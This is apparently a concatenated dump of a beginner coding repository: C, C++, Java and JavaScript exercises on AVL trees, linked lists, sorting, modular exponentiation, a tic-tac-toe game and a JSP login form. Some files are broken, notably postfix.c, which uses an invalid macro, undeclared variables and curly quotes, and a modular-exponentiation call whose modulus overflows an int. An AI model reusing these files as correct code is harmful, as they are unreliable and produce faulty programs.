    return hl > hr ? hl + 1 : hr + 1;
}
 
int AVL::BalanceFactor(Node *p) {
    int hl;
    int hr;
 
    hl = (p && p->lchild) ? p->lchild->height : 0;
    hr = (p && p->rchild) ? p->rchild->height : 0;
 
    return hl - hr;
}
 
Node* AVL::LLRotation(Node *p) {
    Node* pl = p->lchild;
    Node* plr = pl->rchild;
 
    pl->rchild = p;
    p->lchild = plr;
 
    // Update height
    p->height = NodeHeight(p);
    pl->height = NodeHeight(pl);
 
    // Update root
    if (root == p){
        root = pl;
    }
    return pl;
}
 
Node* AVL::RRRotation(Node *p) {
    Node* pr = p->rchild;
    Node* prl = pr->lchild;
 
    pr->lchild = p;
    p->rchild = prl;
 
    // Update height
    p->height = NodeHeight(p);
    pr->height = NodeHeight(pr);
 
    // Update root
    if (root == p){
        root = pr;
    }
    return pr;
}
 
Node* AVL::LRRotation(Node *p) {
    Node* pl = p->lchild;
    Node* plr = pl->rchild;
 
    pl->rchild = plr->lchild;
    p->lchild = plr->rchild;
 
    plr->lchild = pl;
    plr->rchild = p;
 
    // Update height
    pl->height = NodeHeight(pl);
    p->height = NodeHeight(p);
    plr->height = NodeHeight(plr);
 
    // Update root
    if (p == root){
        root = plr;
    }
    return plr;
}
 
Node* AVL::RLRotation(Node *p) {
    Node* pr = p->rchild;
    Node* prl = pr->lchild;
 
    pr->lchild = prl->rchild;
    p->rchild = prl->lchild;
 
    prl->rchild = pr;
    prl->lchild = p;
 
    // Update height
    pr->height = NodeHeight(pr);
    p->height = NodeHeight(p);
    prl->height = NodeHeight(prl);
 
    // Update root
    if (root == p){
        root = prl;
    }
    return prl;
}
 
Node* AVL::InPre(Node *p) {
    while (p && p->rchild != nullptr){
        p = p->rchild;
    }
    return p;
}
 
Node* AVL::InSucc(Node *p) {
    while (p && p->lchild != nullptr){
        p = p->lchild;
    }
    return p;
}
 
Node* AVL::rInsert(Node *p, int key) {
    Node* t;
    if (p == nullptr){
        t = new Node;
        t->data = key;
        t->lchild = nullptr;
        t->rchild = nullptr;
        t->height = 1;  // Starting height from 1 onwards instead of 0
        return t;
    }
 
    if (key < p->data){
        p->lchild = rInsert(p->lchild, key);
    } else if (key > p->data){
        p->rchild = rInsert(p->rchild, key);
    }
 
    // Update height
    p->height = NodeHeight(p);
 
    // Balance Factor and Rotation
    if (BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == 1) {
        return LLRotation(p);
    } else if (BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == -1){
        return LRRotation(p);
    } else if (BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == -1){
        return RRRotation(p);
    } else if (BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == 1){
        return RLRotation(p);
    }
 
    return p;
}
 
void AVL::Inorder(Node *p) {
    if (p){
        Inorder(p->lchild);
        cout << p->data << ", " << flush;
        Inorder(p->rchild);
    }
}
 
Node* AVL::Delete(Node *p, int key) {
    if (p == nullptr){
        return nullptr;
    }
 
    if (p->lchild == nullptr && p->rchild == nullptr){
        if (p == root){
            root = nullptr;
        }
        delete p;
        return nullptr;
    }
 
    if (key < p->data){
        p->lchild = Delete(p->lchild, key);
    } else if (key > p->data){
        p->rchild = Delete(p->rchild, key);
    } else {
        Node* q;
        if (NodeHeight(p->lchild) > NodeHeight(p->rchild)){
            q = InPre(p->lchild);
            p->data = q->data;
            p->lchild = Delete(p->lchild, q->data);
        } else {
            q = InSucc(p->rchild);
            p->data = q->data;
            p->rchild = Delete(p->rchild, q->data);
        }
    }
 
    // Update height
    p->height = NodeHeight(p);
 
    // Balance Factor and Rotation
    if (BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == 1) {  // L1 Rotation
        return LLRotation(p);
    } else if (BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == -1){  // L-1 Rotation
        return LRRotation(p);
    } else if (BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == -1){  // R-1 Rotation
        return RRRotation(p);
    } else if (BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == 1){  // R1 Rotation
        return RLRotation(p);
    } else if (BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == 0){  // L0 Rotation
        return LLRotation(p);
    } else if (BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == 0){  // R0 Rotation
        return RRRotation(p);
    }
 
    return p;
}
 
 
int main() {
 
    AVL tree;
 
    int A[] = {10, 20, 30, 25, 28, 27, 5};
    for (int i=0; i<sizeof(A)/sizeof(A[0]); i++){
        tree.root = tree.rInsert(tree.root, A[i]);
    }
 
    tree.Inorder();
    cout << endl;
 
    tree.Delete(tree.root, 28);
   
    tree.Inorder();
    cout << endl;
 
    return 0;
}

<|start_filename|>CPP/Data Structures/Linked List/Basics Of LL.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std; 

struct Node 
{
    int data;
    Node *next;
    Node(int x)
    {
        data=x;
        next=NULL;
    }
};

Node* Iend(Node *head,int x)
{
    Node *temp=new Node(x);
    if(head==NULL)
    return temp;
    Node *curr=head;
    while(curr->next!=nullptr)
    {
        curr=curr->next;
    }
    curr->next=temp;
    return head;

}

Node* Ibeg(Node *head, int x)
{
    Node *temp=new Node(x);
    if(head==nullptr)
    {
        return temp;
    }
    
    Node *curr=head;
    head=temp;
    head->next=curr;
    return head;
}

Node *Imiddle(Node *head, int x, int pos)
{
    Node *temp=new Node(x);
    Node *curr=head;
    if(pos==1)
    {
        temp->next=head;
        return temp;
    }
    for(int i=1; i<=pos-2 && curr!=nullptr; i++)// goes till that node where changes happen
    {
        curr=curr->next;
    }
    if(curr==nullptr)
    {
        return head;
    }
    temp->next=curr->next;
    curr->next=temp;
    return head;
}

void disp(Node* head)
{
    Node* k=head;
    if(head == nullptr)
    {
        cout<<"The LL is Empty";
        return;
    }
    while(k!=nullptr)
    {
        cout<<k->data<<" ";
        k=k->next;
    }
    return;
}

int main()
{
    int n;
    cin>>n;
    Node* head=NULL;
    for(int i=1;i<=n;i++)
    {
        int k;
        cin>>k;
        head=Iend(head,k);
    }
    
    disp(head);
    int m;
    cin>>m;
    for(int i=1;i<=m;i++)
    {
        int k;
        cin>>k;
        head=Ibeg(head,k);
    }

    disp(head);
    int l,pos;
    cin>>l>>pos; 
    head=Imiddle(head,l,pos);

    disp(head);

    return 0;

}

<|start_filename|>JS/Tic-Tac-Toe Game/JS/Game.js<|end_filename|>
export default class Game {


    constructor(){
        this.turn = "X";
        this.board = new Array(9).fill(null)
    }

    nextTurn(){
        if(this.turn == "X") {
            this.turn = "O";
        } else {
            this.turn = "X";
        }
    }


    makeMove(i){

        if(this.endOfGame()){
            return;
        }

        if(this.board[i]){
            return;
        }
        this.board[i] = this.turn; 
        let winningCombination =  this.findWinningCombinations();
        if(!winningCombination){
            this.nextTurn();
        }

    }
    findWinningCombinations() {
        const winningCombinations = [
            [0,1,2],
            [3,4,5],
            [6,7,8],
            [0,3,6],
            [1,4,7],
            [2,5,8],
            [0,4,8],
            [6,4,2]
        ]

        for(const combination of winningCombinations) {
            const[a,b,c] = combination;

            if(this.board[a] &&
            (this.board[a] === this.board[b] && this.board[a] === this.board[c])) {
                return combination;
            }
             
        }
        return null;

    }

    endOfGame(){
        let winningCombination = this.findWinningCombinations();
        if(winningCombination){
            return true;
        } else {
            return false;
        }
    }

    
}

<|start_filename|>DSA/CP series/reverse_sqaured_sum.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
   
   int n;
   cin>>n;

   int a[n];
   for(int i=0;i<n;i++)
   cin>>a[i];

   int sum=0;
   bool flag=true;

   for(int i=n-1;i>=0;i--)
    {
        if(flag==true)
        sum+=a[i]*a[i];
        else
        sum-=a[i]*a[i];

        flag=!flag;
    }

    cout<<sum;
}


<|start_filename|>Java/Modular Exponentiation.java.cpp<|end_filename|>
import java.io.*;
class GFG
{
 
  /* Iterative Function to calculate (x^y) in O(log y) */
  static int power(int x, int y, int p)
  {
    int res = 1; // Initialize result
 
    x = x % p; // Update x if it is more than or
    // equal to p
 
    if (x == 0)
      return 0; // In case x is divisible by p;
 
    while (y > 0)
    {
 
      // If y is odd, multiply x with result
      if ((y & 1) != 0)
        res = (res * x) % p;
 
      // y must be even now
      y = y >> 1; // y = y/2
      x = (x * x) % p;
    }
    return res;
  }
 
  // Driver Code
  public static void main(String[] args)
  {
    int x = 2;
    int y = 5;
    int p = 13;
    System.out.print("Power is " + power(x, y, p));
  }
}

<|start_filename|>DSA/Linked lists/all_methods.cpp<|end_filename|>
#include<iostream>
using namespace std;

class node{
public:
	int data;
	node* next;

	node(int data){
		this->data = data;
		next = NULL;
	}
};
//----------Linked List-----------//
void insertAtHead(node * &head,int data){
	if(head==NULL){
		head = new node(data);
		return;
	}	
	//otherwise 
	node * n = new node(data);
	n->next = head;
	head = n;
}

void insertInMiddle(node* &head, int data, int pos){
	if(pos==0){
		insertAtHead(head,data);
	}

	else{
		node * temp = head;
		for(int jump=1;jump<=pos-1;jump++){
			temp = temp->next;
		}

		node * n = new node(data);
		n->next = temp->next;
		temp->next = n;

	}
}

node* recReverse(node *head){
	//base case
	if(head==NULL or head->next==NULL){
		return head;
	}
	//otherwise
	node* sHead = recReverse(head->next);
	head->next->next = head;
	head->next = NULL;
	return sHead;
}

void reverse(node *&head){
	node* prev = NULL;
	node* current = head;
	node * temp;

	while(current!=NULL){
		//store next
		temp = current->next;
		//update the current
		current->next = prev;

		//prev and current
		prev = current;
		current = temp;
	}

	head = prev;
	return;
}


node* kReverse(node *head,int k){
	//base case
	if(head==NULL){
		return NULL;
	}

	//reverse the first k nodes
	node* prev = NULL;
	node* current = head;
	node * temp;
	int cnt = 1;

	while(current!=NULL and cnt<=k){
		//store next
		temp = current->next;
		//update the current
		current->next = prev;

		//prev and current
		prev = current;
		current = temp;
		cnt++;
	}

	if(temp!=NULL){
		 head->next = kReverse(temp,k);
	}
	return prev;
}

node* merge(node *a, node* b){
	//Complete this method
	//base case
	if(a==NULL){
		return b;
	}
	if(b==NULL){
		return a;
	}

	//rec case
	node * c;

	if(a->data < b->data){
		c = a;
		c->next = merge(a->next,b);
	}
	else{
		c = b;
		c->next = merge(a,b->next);
	}
	return c;
}

node* midPoint(node *head){

	node * slow = head;
	node * fast = head->next;

	while(fast!=NULL and fast->next!=NULL){
		slow = slow->next;
		fast = fast->next->next;
	}
	return slow;
}


//ToDo : MergeSort
node* mergeSort(node * head){
	//base case
	if(head==NULL or head->next==NULL){
		return head;
	}

	//rec case
	node * mid = midPoint(head);

	//Break at the mid
	node * a = head;
	node * b = mid->next;
	mid->next = NULL;

	//Recursive Sort
	a = mergeSort(a);
	b = mergeSort(b);

	//Merge
	return merge(a,b);

}


void printLL(node * head){

	while(head!=NULL){
		cout <<head->data <<"-->";
		head = head->next;
	}
	cout <<endl;
}


int main(){
	node* a = NULL;
	insertAtHead(a,10);
	insertAtHead(a,7);
	insertAtHead(a,5);
	insertAtHead(a,1);
	insertAtHead(a,17);
	insertAtHead(a,2);
	insertAtHead(a,14);

	printLL(a);

	a = mergeSort(a);

	printLL(a);



	//1-> 5 -> 7 -> 10 -> NULL
	// 2 , 3, 6
	/*
	node* a = NULL;
	insertAtHead(a,10);
	insertAtHead(a,7);
	insertAtHead(a,5);
	insertAtHead(a,1);
	
	node* b = NULL;
	insertAtHead(b,6);
	insertAtHead(b,3);
	insertAtHead(b,2);
	node* head = merge(a,b);
	printLL(head);
	*/

	/*
	node* head = NULL;
	insertAtHead(head,4);
	insertAtHead(head,3);
	insertAtHead(head,2);
	insertAtHead(head,1);
	insertAtHead(head,0);
	printLL(head);
	head = kReverse(head,3);
	printLL(head);*/

	return 0;
}

<|start_filename|>DSA/Strings/searching.cpp<|end_filename|>
#include <iostream>
#include <string>
using namespace std;
int main() {
    /*
   string para="my name is <NAME>";
   string word;
   getline(cin,word);

    //returns the index
   cout<<para.find(word);*/

   //finding multiple occurences
   string big="i am big string,as big as hulk";
   string small="big";

   //1st occurence
   int found=big.find(small);
   cout<<found<<" ";

   //2nd ocurrence
   found=big.find(small,found+1);
   cout<<found;
   
}


<|start_filename|>CPP/primeInRange.cpp<|end_filename|>
#include<iostream>
using namespace std;

int main(){
    int a,b;
    cin>>a>>b;
    for (int range = a; range <= b; range++){
        int counter = 0;
        if (range == 1){
            cout << range<<"\n";
        }
        else{
            for (int factor = 1; factor <= range; factor++){
                if (range % factor == 0){
                    counter++;
                }
            }
            if (counter == 2){
                cout<< range<<"\n";
            }
        }
    }
    return 0;
}


<|start_filename|>DSA/STL/unordered_map.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
    unordered_map<string,int>m;
    int n;
    cin>>n;
    string str;
    for(int i=0;i<n;i++)
    {
        cin>>str;
        m[str]++;
    }

    int t;
    cin>>t;
    while(t--)
    {
        string str;
        cin>>str;
        cout<<m[str]<<endl;
    }
}

<|start_filename|>CPP/reversingNumber.cpp<|end_filename|>
#include <bits/stdc++.h> 
  
using namespace std; 
// function to reverse digits of number
int reverseDigits(int num) 
{ 
    int rev_num = 0; 
    while(num > 0){ 
        rev_num = rev_num*10 + num%10; 
        num = num/10; 
    } 
    return rev_num; 
} 
  
// Driver program
int main() 
{ 
    int num;
    cin>>num; 
    int sign = (num>=0?1:-1);
    cout << "Reverse of no. is "
         << (sign*reverseDigits(abs(num))); 
    
    return 0; 
} 

<|start_filename|>CPP/Data Structures/math/smallest_number_divisible_by_first_n_numbers.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;
int main()
{
    long long ans=1;
    long long n;
    cout<<"enter the number n:";
    cin>>n;
    for(long long i=1;i<=n;i++)
    {
        ans=(ans*i)/__gcd(ans,i);
    }
    cout<<ans;
    
    
}

<|start_filename|>CPP/SwapNodes.cpp<|end_filename|>
/*Given a linked list, swap every two adjacent nodes and return its head.
You must solve the problem without modifying the values in the list's nodes (i.e., only nodes themselves may be changed.)*/
#include <bits/stdc++.h>
using namespace std;
struct Node
{
    int data;
    struct Node *next;

    Node(int x)
    {
        data = x;
        next = NULL;
    }
};
class Solution
{
public:
    Node *AdjacentSwap(struct Node *head)
    {
        if (head == NULL || head->next == NULL)
            return head;

        Node *prev = head;
        Node *curr = head->next;

        head = curr;

        while (true)
        {
            Node *Next = curr->next;
            curr->next = prev;

            if (Next == NULL || Next->next == NULL)
            {
                prev->next = Next;
                break;
            }

            prev->next = Next->next;
            prev = Next;
            curr = prev->next;
        }
        return head;
    }
};
void printList(Node *node)
{
    while (node != NULL)
    {
        cout << node->data << " ";
        node = node->next;
    }
    cout << "\n";
}

int main()
{
    int t;
    cin >> t;
    while (t--)
    {
        int n;
        cin >> n;

        int data;
        cin >> data;
        struct Node *head = new Node(data);
        struct Node *tail = head;
        map<Node *, int> mp;
        mp[head] = head->data;
        for (int i = 0; i < n - 1; ++i)
        {
            cin >> data;
            tail->next = new Node(data);
            tail = tail->next;
            mp[tail] = tail->data;
        }
        struct Node *failure = new Node(-1);
        Solution ob;
        head = ob.AdjacentSwap(head);
        int flag = 0;
        struct Node *temp = head;
        while (temp)
        {
            if (mp[temp] != temp->data)
            {
                flag = 1;
                break;
            }
            temp = temp->next;
        }
        if (flag)
            printList(failure);
        else
            printList(head);
    }
    return 0;
}

<|start_filename|>C/postfix.c<|end_filename|>
// @Agarwal-Kritik
// Postfix Evaluation Using C

#include <stdio.h>
#define size = 50
int s[size];
int top = -1;
push(int elem)
{
      s[++top] = elem;
}
int pop()
{
      return (s[top--]);
}
void main()
{
      char P[50], c;
      int i = 0, OP1, OP2;
      printf("\nEnter the Postfix Expression : ");
      scanf(" %s", P);
      while ((ch = P[i++]) != ' ')
      {
            if (isdigit(ch))
                  s[++top] = (ch -‘0’);
            else
            {
                  op2 = pop();
                  op1 = pop();
                  switch (ch)
                  {
                  case '+':
                        s[++top] = (op1 + op2);
                        break;
                  case '-':
                        s[++top] = (op1 - op2);
                        break;
                  case '*':
                        s[++top] = (op1 * op2);
                        break;
                  case '/':
                        push(op1 / op2);
                        break;
                  }
            }
      }
      printf("\n Given Postfix Expn: %s", pofx);
      printf("\n Result after Evaluation: %d", s[top]);
}

<|start_filename|>CPP/fastModularExponentiation_recursion.cpp<|end_filename|>
#include<iostream>
using namespace std;

int fasExpo(int a, int n, int mod)
{
    // base condition
    if(n == 0)
        return 1;

    //  a ^ n % mod

    if(n % 2 == 0)
       // a ^ n = ((a ^ 2) ^ (n / 2)) 
       return fasExpo((1LL * a * a) % mod, n / 2, mod);
    
    // since if statement is a return statement logically there's no need to write a else statement.
    // Therefore for the odd case it'll be a default return statement.

    // a ^ n = a * (a ^ (n - 1))
    return (1LL * a * fasExpo(a , n - 1, mod)) % mod;

}

int main()
{
    cout << fasExpo(2, 10, 10000000007);
    return 0;
}

<|start_filename|>Java/Union2Arrays.java<|end_filename|>
package geeksforgeeks;
import java.util.*;

public class Union2Arrays {

	public static void main(String[] args) {
	
		Scanner sc=new Scanner(System.in);
		int cas=sc.nextInt(); 
		
		while(cas-->0){
		    int k=0;
		    HashMap<Integer,Integer> hm=new HashMap<>();
		    int i=0,j=0;
		    int m=sc.nextInt();
		    int n=sc.nextInt();
		    int A[]=new int[m];
		    int B[]=new int[n];
		    
		    for( i=0;i<m;i++){
		       A[i]=sc.nextInt();
		       hm.put(A[i],i);
		       
		    }
		    
		     for( j=0;j<n;j++){
		       B[j]=sc.nextInt();
		       if(!hm.containsKey(B[j])){
		           hm.put(B[j],i+j);
		           
		           
		       }
		    }
		    
		    System.out.println(hm.size());
		   
		   
		    
		    
		    
		    
		}
	}

		
		
	}
	




<|start_filename|>C/sortingalgo.c<|end_filename|>
 //Write a C program to sort an array of n number of elements using bubble sort, selection sort, and insertion sort.
// Assume that n >5. Print the sorted output after each pass.

#include<stdio.h>

//function to print array
void printArray(int arr[], int size)
{
    int i;
    for (i=0; i < size; i++)
        printf("%d ", arr[i]);
    printf("\n");
}

//Function to sort an array using bubblesort algorithm
int bubblesort(int array[],int n)
{
  int temp,i,j;
  for(i = 0; i < n-1; i++)
    {
        for(j = 0; j < n-i-1; j++)
        {
            if(array[j]>array[j+1])
            {
                temp=array[j];
                array[j]=array[j+1];
                array[j+1]=temp;
            }
        }
        printArray(array,n);
   }
  return 0;
}
//Function to sort an array using selectionsort algorithm
int selectionsort(int array[],int n)
{
     int min,i,j,temp;
     for (i=0;i<=n-2;i++)
     {
         min=i;
         for(j=i+1;j<=n-1;j++)
         {
             if(array[j]<array[min])
                min=j;
         }

         printArray(array,n);
         temp=array[i];
         array[i]=array[min];
         array[min]=temp;
     }
    return 0;
}

//Function to sort an array using insertionsort algorithm
int insertionsort(int array[],int n)
{
    int temp,i,j;

    for(i=1;i<n;i++)
        {
            temp=array[i];
            j=i-1;

            while((temp < array[j])&&(j>=0))
                {
                     array[j+1]=array[j];
                     j=j-1;
                }

            array[j+1]=temp;
            printArray(array,n);
        }

   return 0;
}

int main()
{
    int array[50]={0};
    int n,sort;

    printf("How many numbers are you going to enter?");
    scanf("%d",&n);

    for(int i=0;i<n;i++)
    {
        printf("Enter the number %d:",i+1);
        scanf("%d",&array[i]);
    }

    printArray(array,n);

    printf("Enter the SORT number you want to choose \n 1:Bubblesort \t 2:Selectionsort \t 3:Insertionsort)");
    scanf("%d",&sort);

    if(sort==1)
        bubblesort(array,n);
    else if(sort==2)
        {
            selectionsort(array,n);
            printArray(array,n);
        }
    else if(sort==3)
        insertionsort(array,n);
    else
        printf("Invalid number");

   return 0;
}



<|start_filename|>C/readability.c<|end_filename|>
// predicts grade-level of a text
// based on Coleman-Liau index


#include<cs50.h>
#include<math.h>
#include<string.h>
#include<stdio.h>

int main(void)

{
    //set initial count for letters,words,sentences to 0
    int letters = 0;
    int words = 1;
    int sentences = 0;
    
    //promot user for text
    string s = get_string("Text:\n");

    //calculate number of letters,words and sentences
    for (int i = 0, n = strlen(s); i < n; i++)
    {
        if ((s[i] >= 65 && s[i] <= 90) || (s[i] >= 97 && s[i] <= 122))
        {
            letters++;
        }

        if (s[i] == ' ')
        {
            words++;
        }

        if ((s[i] == '.' || s[i] == '?') || s[i] == '!')
        {
            sentences++;
        }    
    }
    
    // calculate "value" of index 
    float value = ((0.0588 * 100 * ((float) letters / (float) words)) - (0.296 * 100 * ((float) sentences / (float) words)) - 15.8);

    // round-off index value to nearest integer
    int index = round(value);

    //printf grade of the text
    if (index >= 1 && index < 16)
    {
        printf("Grade %i\n", index);
    }

    else if (index >= 16)
    {
        printf(" Grade 16+\n");
    }

    else if (index < 1)
    {
        printf("Before Grade 1\n");
    }
}


<|start_filename|>DSA/DSA-VIT/Stacks/stack_using_queues.cpp<|end_filename|>
//stack using only 2 queues
#include <bits/stdc++.h>
using namespace std;

class Stack{
    private:
    queue<int>q1,q2;

    public:
    void push(int data)
    {
        q1.push(data);
    }
    void pop()
    {
        // pop n-1 elements from q1 to q2 and pop last element from q1 to stack and then interchange q1,q2
        while(q1.size()>1)
        {
            int element=q1.front();
            q2.push(element);
            q1.pop();
        }
        //popping last element
        q1.pop();
        swap(q1,q2);
    }
    int top()
    {
        while(q1.size()>1)
        {
            int element=q1.front();
            q2.push(element);
            q1.pop();
        }
        int element=q1.front();
        q1.pop();
        q2.push(element);
        return element;
    }
    int size()
    {
        return (q1.size()+q2.size());
    }
    bool empty()
    {
        return size()==0;
    }
};

int main() {
    stack<int>s;

    for(int i=0;i<=3;i++)
    s.push(i);

    while(!s.empty())
    {
        cout<<s.top()<<" ";
        s.pop();
    }
}



<|start_filename|>DSA/Bitmasking/decimal_to_binary.cpp<|end_filename|>
#include <iostream>
using namespace std;
int main() {
   int n;
   cin>>n;

   while(n>0)
   {
       int last_digit=(n&1);
       cout<<last_digit;
       n=n>>1;
   }
}


<|start_filename|>C/bubble_sort.c<|end_filename|>
#include<stdio.h>
int main()
{
   int n, temp, i, j;
   printf ("Enter No of elements in the array \n");
   scanf("%d",&n);
   int number[n];
   printf ("Enter the elements of array \n");
   for(int i=0;i<n;i++)
    scanf("%d",&number[i]);
   for(i=n-2;i>=0;i--){
      for(j=0;j<=i;j++){
        if(number[j]>number[j+1]){
           temp=number[j];
           number[j]=number[j+1];
           number[j+1]=temp;
        }
      }
   }
   printf("Sorted elements: ");
   for(i=0;i<n;i++)
      printf(" %d",number[i]);
   return 0;
}


<|start_filename|>CPP/Data Structures/math/palindrome_number.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;
bool palindrome(long  n)
{
    long  rev=0;
    long  temp=n;
    while(temp!=0)
    {
        long  last_digit=temp%10;
        rev=rev*10+last_digit;
        temp/=10;
    }
    return(rev==n) ;
}
int main()
{
    long  x;
    cout<<"enter the number";
    cin>>x;
    cout<<palindrome(x);
}

<|start_filename|>CPP/factorial.cpp<|end_filename|>

#include <iostream>

using namespace std;

int multiply(int x, int a[], int size)
{
    int carry = 0, i, p;

    for (i = 0; i < size; ++i)
    {
        p = a[i] * x + carry;
        a[i] = p % 10;
        carry = p / 10;
    }
    while (carry != 0)
    {
        a[size] = carry % 10;
        carry = carry / 10;
        size++;
    }
    return size;
}

int main()
{
    int n, a[1000], i, size = 1;
    a[0] = 1;

    cout << "Enter any large number:";
    cin >> n;

    for (i = 2; i <= n; ++i)
    {
        size = multiply(i, a, size);
    }

    for (i = size - 1; i >= 0; --i)
    {
        cout << a[i];
    }

    return 0;
}


<|start_filename|>CPP/Leet Code Solutions/roman-to-integer/roman-to-integer.cpp<|end_filename|>
class Solution {
public:
    int getNumber(char c){
        switch(c){
            case 'I' : return 1;
            case 'V' : return 5;
            case 'X' : return 10;
            case 'L' : return 50;
            case 'C' : return 100;
            case 'D' : return 500;
            case 'M' : return 1000;
            default : return -1;
        }
    }

    int romanToInt(string s) {
        int result = 0, current, next;
        int i = 0;
        int n = s.size();
        while(i<n){
            if(i==n-1){
                result += getNumber(s[i]);
                return result;
            }
            int current = getNumber(s[i]);
            int next = getNumber(s[i+1]);
            if(current>=next){
                result += current;
                i++;
            } else {
                result += next - current;
                i += 2;
            }
        }
        return result;
        
    }
};

<|start_filename|>CPP/Leet Code Solutions/add-two-numbers/add-two-numbers.cpp<|end_filename|>
/**
 * Definition for singly-linked list.
 * struct ListNode {
 *     int val;
 *     ListNode *next;
 *     ListNode() : val(0), next(nullptr) {}
 *     ListNode(int x) : val(x), next(nullptr) {}
 *     ListNode(int x, ListNode *next) : val(x), next(next) {}
 * };
 */
class Solution {
public:
    ListNode* addTwoNumbers(ListNode* l1, ListNode* l2) {
        ListNode preNode(-1), *p = &preNode;
        int carry = 0, sum;
        
        while(l1 || l2 || carry){
            sum = (l1?l1->val:0) + (l2?l2->val:0) + carry;
            p->next = new ListNode(sum%10);
            carry = sum/10;
            
            p = p->next;
            l1 = l1?l1->next:l1;
            l2 = l2?l2->next:l2;
        }
        return preNode.next;
    }
};

<|start_filename|>Java_Backend/JSPLoginForm/src/main/webapp/login.jsp<|end_filename|>
<%@ include file="/common/taglibs.jsp" %>
<!DOCTYPE html>
<html>
<head>
  <title>Address Book Demo :: Login</title>
  <link rel="stylesheet" type="text/css" href="${ctx}/css/app/login.css" />
</head>
<body>

<div class="container-fluid">

  <div class="signin">
    <div class="signin-box">
      <h2 class="form-signin-heading"><fmt:message key="page.login.title" /></h2>

      <c:if test="${param.invalid}">
        <div class="alert alert-error">
          <strong><fmt:message key="page.login.invalid_credentials" /></strong>
        </div>
      </c:if>

      <form accept-charset="UTF-8" action="<c:url value='j_spring_security_check'/>" method="post">
        <fieldset>
          <label for="username"><fmt:message key="page.login.username" /></label>
          <input type="text" class="input-block-level" name="j_username" id="username">
          <label for="<PASSWORD>"><fmt:message key="page.login.password" /></label>
          <input type="password" class="input-block-level" name="j_password" id="<PASSWORD>">

          <input type="submit" class="btn btn-primary" value="Sign in">
          <label class="remember">
            <input type="checkbox" name="rememberMe" value="yes">
            <strong class="remember-label"><fmt:message key="page.login.remember" /></strong>
          </label>
        </fieldset>
      </form>
    </div>
  </div>

</div>

<script type="text/javascript">
  $(function() {
    $("#username").focus();
  });
</script>

</body>
</html>

<|start_filename|>DSA/CSES_ProblemSet/Stick_Lengths.cpp<|end_filename|>
#include <bits/stdc++.h>
#define ll long long
using namespace std;

int main()
{
    int n;
    cin >> n;
    int ar[n];
    for (int i = 0; i < n; i++)
        cin >> ar[i];
    sort(ar, ar + n);
    ll mid = ar[n / 2];

    ll tot = 0;
    for (int i = 0; i < n; i++)
        tot += abs(ar[i] - mid);

    cout << 1LL * tot << endl;
}

<|start_filename|>CPP/potion.cpp<|end_filename|>
//Coded by <NAME> (AbJ) on 2021 / 02 / 22 in 18 : 20 : 33
//title - F_Potion.cpp
#include <iostream>
#include <stdlib.h>
#include <algorithm>
#include <cstdio>
#include <numeric>
#include <cstring>
#include <numeric>
#include <vector>
#include <iterator>
#include <map>
#include <set>
#include <climits>
#include <queue>
#include <cmath>
#include <stack>
#include <cctype>
#include <bitset>
// #include <bits/stdc++.h>
#define double long double
#define int long long int
#define ll int
#define ibs ios_base::sync_with_stdio(false)
#define cti cin.tie(0)
#define bp __builtin_popcount
#define pb emplace_back
#define koto_memory(a) cout<<(sizeof(a)/1048576.0)<<" MB";
#define res(v) sort(all(v)),v.erase(unique(all(v)), v.end());
#define timer cerr << "Time elapsed : " << 1.0 * clock() / CLOCKS_PER_SEC << " sec "<<endl;
#define deb(x) cout<<endl<<"["<<#x<<" = "<<x<<"]"<<endl;
using vi = std::vector<int>;
using vvi = std::vector<vi>;
using pii = std::pair<int,int>;
using vpii = std::vector<pii>;
using vvpii = std::vector<vpii>;
#define mp         make_pair
#define rep(i,a,b) for (int i = a; i <= b; i++)
#define per(i,b,a) for (int i = b; i >= a; i--)
#define all(x)     x.begin(), x.end()
using namespace std;
const int N=1e2+10;
const int inf = /*0x3f3f3f3f*/3e18+10;
// const ll M = 998244353 ; // Mulo
// const int M = 1e9+7 ; // Mulo
const double Pi = 3.14159265;
#define F first
#define S second
int n, a[N], x, dp[N][N][N], cost = inf;
void f(int k){
	rep(i, 0, n)
		rep(j, 0, n)
			rep(k, 0, n)
				dp[i][j][k] = - inf;
	dp[0][0][0] = 0;
	rep(i, 1, n)
		rep(koita, 1, k)
			//koita implies koita chosen
			rep(sum, 0, k - 1){
				dp[i][koita][sum] = max(dp[i - 1][koita][sum], dp[i - 1][koita - 1][(sum - a[i] + (inf / k) * k) % k] != - inf ? (dp[i - 1][koita - 1][(sum - a[i] + (inf / k) * k) % k] + a[i]) : - inf);
			}
	if(dp[n][k][x % k] == - inf)return;
	cost = min(cost, (x - dp[n][k][x % k]) / k);
}
void solve(){
	cin >> n >> x;
	rep(i, 1, n)
		cin >> a[i];
	rep(v, 1, n)
		f(v);
	cout << cost;

}
int32_t main()
{
  ibs;cti;
  solve();return 0;
  int xx=0;
  int t;cin>>t;while(t--){/*xx++;cout<<"Case "<<xx<<": "*/;solve();cout<<"\n";}
  return 0;
}

<|start_filename|>CPP/pascalTriangle.cpp<|end_filename|>
#include<iostream>
using namespace std;

int main()
{
    int n; // last level
    cin >> n;
    int arr[n][n];
    for (int line = 0; line < n; ++line)
    {
        for(int space = 0; space <= n - line; ++space) cout << " ";
        for (int i = 0; i <= line; i++)
        {
            if (line == i || i == 0)
                arr[line][i] = 1;
            else
                arr[line][i] = arr[line - 1][i - 1] + arr[line - 1][i];

            cout << arr[line][i] << " ";
        }
        cout << "\n";
    }
}

<|start_filename|>C/max_min.c<|end_filename|>
#include<stdio.h>
int main()
{
 int n, i, max, min, a[100];
 printf("Enter total number of elements:");
 scanf("%d",&n);
 printf("Enter values:");
 for (i=0;i<n;i++)
 {
 	scanf("%d", &a[i]);
 }
 max=a[0];
 min=a[0];
 for (i=1;i<n;i++)
 {
 	if (a[i]>max)
 	{
 		max=a[i];
	}
	if (a[i]<min)
 	{
 		min=a[i];
	}
 }
